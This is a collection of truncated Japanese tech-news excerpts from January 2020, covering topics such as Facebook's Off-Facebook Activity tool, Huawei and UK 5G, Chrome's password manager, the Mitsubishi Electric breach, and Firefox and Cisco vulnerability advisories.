Facebookはこれまで、同ソーシャルネットワークを利用中にプライバシーを管理する権限をユーザーに与える方針を示してきた。同社は米国時間1月28日、以前から約束していた通り、Facebook外でもプライバシーを管理できるようにするツールの提供を一部の国から全世界に拡大した。 最高経営責任者（CEO）のMark Zuckerberg氏は、「データプライバシーデー」にあたる同日のブログ記事で、「Off-Facebook Activity」（Facebook外のアクティビティ）ツールをついに世界中でリリースすると発表した。このツールは、インターネット全体でFacebookがユーザーをどのように追跡するかを、ユーザー自身が管理できるようにするものだ。同氏は2018年5月にこの機能の導入を約束しており、当時は「Clear History」（履歴のクリア）ボタンと呼んでいた。 2019年8月のリリー

英政府は現地時間1月28日、同国の5Gネットワークの非中核部分の構築に、中国ハイテク大手の華為技術（ファーウェイ）の製品を使用することを容認した。ただし、いくつかの厳しい制約が課される。ファーウェイ機器は、機密情報を扱う場所からは排除され、また、英国における市場シェアは35％までに制限される。 英国は、軍事基地と核施設、およびCritical National Infrastructure（最重要国家基盤）における安全関連および安全重視のネットワークでのファーウェイ機器の使用は許可しないとした。英国の5Gネットワークの中核部分の構築にも、同社製品の使用は許可されない。同社製品の使用は、機器や装置を携帯電話基地局に接続する、周辺アクセスネットワークに限定される。 デジタル・文化・メディア・スポーツ省のNicky Morgan大臣は発表の中で、「できるだけ早期に世界クラスの接続性を実現したいが

会員制のサイトでユーザー名とパスワードを登録する際、よく「他のサイトと同じユーザー名／パスワードの組み合わせを使い回すな！」と注意されます。確かに、どこかのサイトでユーザー名／パスワードが漏れたら、全部のサイトにログインされてしまい、危険です。 でもWebサイトごとにパスワードを別々にするのはとても面倒です。サイトごとにパスワードのルール（文字数や数字が必要など）が異なることもあり、それに合ったパスワードを考えなければなりません。またどのサイトでどのパスワードを設定したか忘れてしまい、ログインできなくなることもあります。 Google Chrome（以下、Chromeと略）なら、無償の内蔵機能「パスワードマネージャー」でパスワードを自動生成して、さらに保存もできます。本稿では、その使い方と注意点を説明します。 なお、Chromeにユーザー名／パスワードを保存しているなら、Tech TIPS

大量のデータを分析して特徴点を見いだし、何らかの識別を行う仕組み（識別器）を作り出す「機械学習」（ML）やそれを生かした人工知能（AI）技術。これらをうまく活用すれば、より良いセキュリティ対策を実現できるのではないか――そんなコンセプトで研究を進め、ML／AIを活用した不正検知システムを提供するスタートアップ企業、ChillStackを立ち上げた伊東道明氏に、企業のセキュリティ対策にAIが求められる背景や、MLとセキュリティの掛け合わせが秘める可能性について尋ねた。 機械学習とセキュリティ、掛け合わせの相性が良い理由 伊東氏は法政大学でML関連の研究室に所属しているが、入学当初からセキュリティに興味を持ち、CTF（Capture The Flag）や「セキュリティ・キャンプ」などの場に参加しながら技術を磨いてきた。「ずっとセキュリティ関連の勉強をやってきたが、3年生になる時、新しいことを学

金融機関からWebマーケの世界へ　元Sansan酒居氏 日比谷尚武氏（以下、日比谷）：じゃあ、酒居さん。 酒居潤平氏（以下、酒居）：はい。僕はユーザベースという会社のグループ会社、株式会社FORCASでマーケティング部門を担当しています。 ユーザベースという会社をご存じの方も、少しいらっしゃっていただいているかもしれないんですけれども、「NewsPicks」という経済メディアであったりとか、「SPEEDA」という企業情報のプラットフォームをやっていたりする会社です。 そこの3つ目の事業として、2年半ぐらい前に「FORCAS」というB2Bマーケティングのサービス、SaaSプロダクトを立ち上げました。僕は2017年にFORCASにジョインしまして、マーケとインサイドセールス部門の立ち上げに従事してきました。 今回「カンファレンスの仕掛け方」というところで、自分自身のイベントとの関わりでお伝えし

奈良先端科学技術大学院大学は、3Dプリンターで作成した立体的な造形物にデジタル情報を埋め込み、ドキュメントスキャナーを使って情報を取り出す技術を開発したと発表した。 3Dプリンターの主な方式の1つである熱溶融積層（FFF）方式では、厚みが一定な層を形成するように樹脂を吐出しながら造形するが、今回開発した技術では厚み0.2mm程度の上下に隣り合った2つの層をペアとして、2層を組み合わせた厚みを一定に保ちながらも、埋め込む情報に応じて両者の厚みのバランスを変化させ、デジタル情報を表現できるように制御して造形を行うというものだ。 情報を表面に刻むのではなく、層の厚みのバランスを制御するため、造形物の外形そのものにはほとんど影響を与えない。樹脂の層の厚みは、造形物をドキュメントスキャナーで撮影することで、精細に画像化することができる。今回、層の厚みの変化を検出する画像処理技術も開発し、埋め込まれた

1月20日週にかけて発生したセキュリティに関する出来事や、サイバー事件をダイジェストでお届け。 三菱電機、個人情報や機密情報など8,000人分が流出か 三菱電機は1月20日、第三者による不正アクセスにより、個人情報や機密情報が流出した可能性があることを明らかにした。不正アクセスの原因は、同社が使用しているウイルス対策システムのセキュリティパッチ公開前の脆弱性を突いたもの。 不正アクセスは2019年6月28日に、端末の不審な挙動を検知したことから発覚。社内調査の結果、外部にデータが送信されていた。手法も高度で、セキュリティの監視や検知をすり抜けていたという。さらに一部の端末においては、送信されたファイルを特定するためのログも消去されていた。流出した可能性のある機密情報は以下の通り。 採用応募者情報 1,987人分。2017年10月入社～2020年4月入社の新卒採用応募者と、2011年～201

JPCERT/CC（一般社団法人JPCERTコーディネーションセンター）は、Webブラウザ「Firefox」「Firefox ESR」が抱える脆弱性に関して注意を呼びかけている。 今回の脆弱性に関するMozillaのセキュリティアドバイザリ JITコンパイラ「IonMonkey」に脆弱性があり、リモートからの攻撃で任意のコードが実行される可能性がある。Firefoxを開発しているMozilla Foundationによると、この脆弱性を悪用した攻撃を確認しているという。 脆弱性を抱えるバージョンは、「Firefox 72.0.1より前のバージョン」と「Firefox ESR 68.4.1より前のバージョン」だ。今回の脆弱性を修正した新バージョンが公開されているので、該当するFirefoxを使っているユーザーはすぐにアップデートしてほしい（通常は自動的にアップデートされる）。

交通事故による死者数が戦後最小を更新し続けています。衝突軽減ブレーキなど、先進的な安全運転支援機能を搭載するクルマが増えていることが追い風となっているのは間違いありません。しかし、そのような安全運転支援機能は既存のクルマに後付けすることはできず、愛車を乗り換えない限り恩恵を受けられないのが実情です。 そのようななか、周囲の歩行者やクルマの状況をAI（人工知能）が常に監視し、飛び出しや衝突などの危険を検知すると瞬時に警告を発する機能を持つ車載機器「Pyrenee Drive」（ピレニー・ドライブ）の開発が、日本のベンチャー企業であるPyrenee社の手によって進められています。あくまで音や画面による警告にとどまり、クルマのブレーキやハンドルを自動で操作してくれるわけではありませんが、既存のほぼすべてのクルマに後付けで設置できるのが大きな特徴です。 自分のクルマに後付けで手軽に導入できる安全運

2020年1月に入って、シスコシステムズからセキュリティアップデートの公開が相次いでいる。セキュリティアップデート情報は「Cisco Security - Cisco Security Advisories」からチェックできる。2020年1月に公開されたセキュリティ脆弱性情報のすべてが警告レベル（Medium）を超えている。 重大（High）に分類される脆弱性もあり、さらに2つは緊急（Critical）に分類されており注意が必要。該当するプロダクトが多岐にわたることから、シスコ製品を使っている場合は2020年1月に公開された脆弱性情報を一通りチェックするとともに、該当する場合はアップデートを適用することが望まれる。 Cisco Security - Cisco Security Advisories Cisco Security - Cisco Security Advisories Ci

米MicroStrategy及び日本法人のマイクロストラテジー・ジャパンは1月27日、「トップ10トレンド エンタープライズプライズアナリティクス2020」を発表した。同レポートは、AI(人工知能)、モバイル インテリジェンス、データとデータソースの激増、データやアナリティクス関連の予測される人材不足など、各種切り口からのトレンドと洞察を含む内容だという。 同レポートは、フォレスター、IDC、Constellation リサーチ、Ventanaリサーチなどのリーディングアナリストやインフルエンサーたちとの協業で編集したといい、10点のアナリティクストレンドを選出している。 ディープラーニングが、競争優位をもたらす ディープラーニングについては、注目点がより実務レベルへ向かうという。人間の行動を理解し予測する実用的なディープラーニングの登場は、競合他社にインテリジェンスを用いていかに対応する

United States Computer Emergency Readiness Team (US-CERT)は1月24日(米国時間)、「NSA Releases Guidance on Mitigating Cloud Vulnerabilities｜CISA」において、米国家安全保障局（NSA: National Security Agency）がクラウドのセキュリティを強化するためのドキュメントを公開したと伝えた。 同ドキュメントでは、クラウドの脆弱性を「構成の誤り」「アクセス制御の不足」「テナント共有」「サプライチェーン」の4つに分類し、脅威アクター、潜在的緩和策などを説明されている。NSAによって公開されたドキュメントは次のとおり。 National Security Agency | Cybersecurity Information - Mitigating Cloud

シーイーシーは1月28日、アイシン・エィ・ダブリュの工場で、スマートグラスを活用した製造現場のデジタル活用と多様な人材活用に向け共同で実証実験を開始したと発表した。現在、スマートグラスの装着前後を比較した作業計測・記録データをもとに、工場教育の時間短縮、職場コミュニケーションの活性化などものづくり現場の働き方改革を目指す。 実証実験では、アイシン・エィ・ダブリュの聴覚障がい者のコミュニケーション支援として、シーイーシーのスマートグラスアプリケーション「EdaGlass（エダグラス）」と音声認識技術を活用し、山本光学のスマートグラス「Versatile(バーサタイル)」を装着した作業者との双方向コミュニケーション、現場教育研修におけるスマートグラスの有用性を実証している。 スマートグラス「Versatile(バーサタイル)」 工場内の機械稼動中の異常・作業不備など発生時に、復旧手段を伝えるラ

スマート機器と連携するサウンドシステムを開発・提供するSonos。ユーザーの熱い支持を追い風に成長してきた同社だが、古い製品のソフトウェアアップデート打ち切りを巡ってユーザーから猛烈な批判を浴びている。 Sonosは21日、公式ブログと利用者へのメールを通じて「Zone Players」「Sonos Connect」「Connect:Amp」「Play:5（第一世代）」「CR200」「Bridge」のソフトウェアアップデートと新機能追加を今年4月で終了させると発表した。一部は2015年まで販売されていたが、全ての製品がEnd of Sale (EOS)からしばらく経ったレガシー製品である。 50Wアンプを内蔵したワイヤレス音楽プレーヤー「Sonos ZonePlayer ZP100」 ソフトウェアアップデート打ち切り後、ユーザーには2つの選択肢があった。1つはSonosが提供するトレードア

2020年1月23日、株式会社自律制御システム研究所（本社：千葉市美浜区 代表取締役：太田裕朗、以下ACSL）は、新製品「Mini」を初お披露目する発表会を開催した。国産・小型で安価なドローンへの需要の高まりを受け、同社では1年以上前から全力を挙げて開発に取り組んできたという。 屋内外対応可能な国産・小型の産業用ドローン「Mini」。GPS環境下、非GPS環境下での自律飛行の切り替えが可能（飛行前）で、Visual SLAMを用いた非GPS環境下でも高性能な自己位置および方角推定が可能なところが魅力。 小型産業用ドローン「Mini」の特徴4つ 　「Mini」は、屋内外対応可能な自律飛行ドローンで、点検と災害時の状況確認を主な用途として見据えている。機体の特徴は、ACSL事業開発本部長 六門直哉氏が端的に解説した。大きな特徴は4つだ。 （1）安心の国産ドローン 独自開発のフライトコントローラ

メディカルフューチャーが、自宅でできる血液検査サービス「ketsuken 血液検査セット」の公式WEBサイトでの予約販売および検査結果管理アプリ「ketsuken」をリリースし、新サービスの提供を開始することを発表した。 同社は、1滴の血液で医療機関と同等精度の検査サービスを受けることができる自己採血専用施設として2017年3月に「銀座血液検査ラボ（銀座本店）」をオープン。 その後も鹿児島店、大阪心斎橋店をオープンさせ、今春には東海地方へのFC展開も予定している。 しかし、遠方に住む利用者から「店舗が遠くて行くことが難しい」「店舗の営業時間内に行けない」などの意見が寄せられていた。また、日本国内における健康診断の受診状況では約3割の人が健康診断の未受診者となっており、その約4分の1の方は「時間が取れない」「面倒だから」といった理由が挙げられている。 こうした背景を受け、同社は公式WEBサイ